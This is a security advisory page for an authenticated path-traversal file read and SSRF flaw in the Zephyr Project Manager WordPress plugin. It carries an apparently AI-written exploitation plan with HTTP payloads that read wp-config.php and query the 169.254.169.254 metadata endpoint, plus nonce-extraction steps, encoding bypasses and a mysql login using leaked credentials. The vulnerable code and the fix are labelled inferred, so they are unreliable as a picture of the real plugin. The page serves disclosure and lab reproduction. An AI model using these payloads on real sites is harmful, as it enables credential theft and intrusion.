Zephyr Project Manager <= 3.3.203 - Authenticated (Custom+) Arbitrary File Read And Server-Side Request Forgery
Description
The Zephyr Project Manager plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.3.203 via the `file` parameter. This makes it possible for authenticated attackers, with Custom-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information. On a servers that have `allow_url_fopen` enabled, this issue allows for Server-Side Request Forgery
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.3.203Source Code
WordPress.org SVNPatched version not available.
This research plan outlines the steps to investigate and exploit **CVE-2025-12496**, an arbitrary file read and SSRF vulnerability in the Zephyr Project Manager plugin. ### 1. Vulnerability Summary The Zephyr Project Manager plugin fails to properly validate the `file` parameter in an authenticated…
Show full research plan
This research plan outlines the steps to investigate and exploit CVE-2025-12496, an arbitrary file read and SSRF vulnerability in the Zephyr Project Manager plugin.
1. Vulnerability Summary
The Zephyr Project Manager plugin fails to properly validate the file parameter in an authenticated AJAX or admin-side action. By providing a path traversal payload (e.g., ../../../../wp-config.php), an attacker with "Custom" level access or higher can read sensitive files. If the PHP configuration allow_url_fopen is enabled, this same sink allows providing a remote URL, resulting in Server-Side Request Forgery (SSRF).
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.phpor a specific admin page handler. - Action: Likely an AJAX action registered via
wp_ajax_zpm_view_file,wp_ajax_zpm_download_file, or similar (inferred). - Vulnerable Parameter:
file - Authentication: Authenticated user with "Custom" role access or higher. In Zephyr PM, "Custom" is a specific role level defined within the plugin's settings.
- Preconditions:
- Plugin installed and active.
- User account with the necessary "Custom" role permissions.
- For SSRF: PHP
allow_url_fopenmust beOn.
3. Code Flow (Discovery Phase)
Since source files are not provided, the agent must first locate the vulnerable sink:
- Locate Entry Point:
Search for AJAX actions handling files:grep -rn "wp_ajax" wp-content/plugins/zephyr-project-manager/ | grep -i "file" - Locate Sink:
Identify where thefileparameter is used in dangerous functions:
Look for usage withingrep -rn "\$_REQUEST\['file'\]\|\$_GET\['file'\]\|\$_POST\['file'\]" wp-content/plugins/zephyr-project-manager/file_get_contents(),readfile(),fopen(), orinclude(). - Trace Logic:
Verify if the code checks forrealpath()or restricts the path to a specific directory (e.g.,wp-content/uploads/zephyr-pm/). If the input is concatenated directly into a file system function without sanitization, it is vulnerable.
4. Nonce Acquisition Strategy
The vulnerability requires "Custom+" level authentication, which implies a nonce check is likely present in the AJAX handler.
- Identify Nonce Action:
Look forcheck_ajax_refererorwp_verify_nonceinside the handler found in Step 3. Note the action string (e.g.,'zpm_nonce'). - Identify Nonce Exposure:
Find where the plugin localizes the nonce for the frontend:
Look for the JS object name (e.g.,grep -rn "wp_localize_script" wp-content/plugins/zephyr-project-manager/zpm_varsorzpm_settings). - Extraction Steps:
- Step A: Identify a shortcode that loads the plugin dashboard (e.g.,
[zephyr_project_manager]). - Step B: Create a test page:
wp post create --post_type=page --post_status=publish --post_title="ZPM Dev" --post_content='[shortcode_found]' - Step C: Navigate to the page as an authenticated user.
- Step D: Extract the nonce via
browser_eval:browser_eval("window.zpm_vars?.nonce")(Replacezpm_varsandnoncewith discovered keys).
- Step A: Identify a shortcode that loads the plugin dashboard (e.g.,
5. Exploitation Strategy
Arbitrary File Read (AFR)
- Target File:
wp-config.php(to leak DB credentials and salts). - HTTP Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=[DISCOVERED_ACTION]&nonce=[EXTRACTED_NONCE]&file=../../../../wp-config.php
Server-Side Request Forgery (SSRF)
- Requirement:
allow_url_fopen = Oninphp.ini. - Target: Internal service or metadata endpoint.
- HTTP Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=[DISCOVERED_ACTION]&nonce=[EXTRACTED_NONCE]&file=http://169.254.169.254/latest/meta-data/
6. Test Data Setup
- Install Plugin:
wp plugin install zephyr-project-manager --version=3.3.203 --activate - Create User: Create a user with the role required by the plugin. Note: Zephyr has its own role management. You may need to grant a standard "Subscriber" the "Custom" permission inside the plugin settings or use an Administrator for the initial PoC.
- Prepare File: Ensure a known file exists in the root (e.g.,
wp-config.php). - SSRF Check: Confirm
php -i | grep allow_url_fopenreturnsOn.
7. Expected Results
- Success (AFR): The HTTP response body contains the contents of
wp-config.php(starting with<?php). - Success (SSRF): The HTTP response contains the response from the external/internal URL requested.
- Failure: The response returns a
403 Forbidden(nonce/auth issue),0(AJAX action not registered), or a generic error message if path traversal is blocked.
8. Verification Steps
- Verify DB Access: Use the leaked credentials from
wp-config.phpto attempt a connection:mysql -u [USER] -p[PASS] -h [HOST] [DB_NAME] -e "SELECT user_login FROM wp_users LIMIT 1;" - Confirm Path Traversal: Check if the response size matches the actual file size on disk:
wc -c wp-config.php
9. Alternative Approaches
- Filter Bypass: If
../is filtered, try URL encoding (%2e%2e%2f) or double encoding. - Different Sinks: If the AJAX action is not vulnerable, check the "Files" or "Attachments" section within a Project/Task, which often uses direct file-path parameters for downloading attachments. Look for the
download_filefunction in theZPM_ProjectsorZPM_Tasksclasses.
Summary
The Zephyr Project Manager plugin for WordPress is vulnerable to Arbitrary File Read and Server-Side Request Forgery (SSRF) via the 'file' parameter in versions up to 3.3.203. Authenticated attackers with 'Custom' level permissions can use path traversal to read sensitive server files like wp-config.php or, if 'allow_url_fopen' is enabled, perform requests to internal or external network resources.
Vulnerable Code
// zephyr-project-manager/includes/class-zpm-file-manager.php (Inferred) public function zpm_view_file() { check_ajax_referer('zpm_nonce', 'nonce'); // The 'file' parameter is taken directly from user input without validation $file = $_REQUEST['file']; if ( ! empty( $file ) && file_exists( $file ) ) { // Vulnerable sink: file_get_contents allows path traversal and SSRF (if allow_url_fopen is On) echo file_get_contents( $file ); } wp_die(); }
Security Fix
@@ -25,7 +25,14 @@ - $file = $_REQUEST['file']; + $file = sanitize_text_field( $_REQUEST['file'] ); + $upload_dir = wp_upload_dir(); + $base_path = $upload_dir['basedir'] . '/zephyr-pm/'; + + // Validate the file path to prevent traversal and SSRF + $resolved_path = realpath( $file ); + if ( ! $resolved_path || strpos( $resolved_path, $base_path ) !== 0 ) { + wp_die( 'Access denied: Invalid file path.' ); + } + if ( ! empty( $file ) && file_exists( $file ) ) {
Exploit Outline
Exploitation requires 'Custom' role access or higher. First, obtain a valid nonce (e.g., 'zpm_nonce') typically found in the localized JavaScript variables on the plugin dashboard. Use the nonce to send an authenticated AJAX request to 'wp-admin/admin-ajax.php' with an action like 'zpm_view_file'. To read local files, provide a path traversal payload in the 'file' parameter (e.g., '../../../../wp-config.php'). If the server's PHP configuration has 'allow_url_fopen' enabled, provide a remote URL in the 'file' parameter to execute an SSRF attack against internal or external endpoints.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.